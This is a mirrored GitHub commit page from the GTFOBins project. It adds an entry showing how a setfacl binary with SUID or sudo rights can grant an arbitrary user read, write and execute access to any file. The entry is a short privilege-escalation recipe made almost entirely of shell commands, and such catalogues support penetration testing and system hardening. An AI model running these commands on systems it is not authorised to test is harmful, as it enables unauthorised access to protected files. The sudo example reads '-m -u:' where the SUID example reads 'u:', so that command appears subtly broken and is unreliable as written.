mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-04 02:38:43 +01:00 
			
		
		
		
	Add setfacl
Co-authored-by: Kernel-ROM <Kernel-ROM> Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
		
							
								
								
									
										14
									
								
								_gtfobins/setfacl.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										14
									
								
								_gtfobins/setfacl.md
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,14 @@
 | 
			
		||||
---
 | 
			
		||||
description: This can be run with elevated privileges to change ownership and then read, write, or execute a file.
 | 
			
		||||
functions:
 | 
			
		||||
  suid:
 | 
			
		||||
    - code: |
 | 
			
		||||
        LFILE=file_to_change
 | 
			
		||||
        USER=somebody
 | 
			
		||||
        ./setfacl -m u:$USER:rwx $LFILE
 | 
			
		||||
  sudo:
 | 
			
		||||
    - code: |
 | 
			
		||||
        LFILE=file_to_change
 | 
			
		||||
        USER=somebody
 | 
			
		||||
        sudo setfacl -m -u:$USER:rwx $LFILE
 | 
			
		||||
---
 | 
			
		||||
		Reference in New Issue
	
	Block a user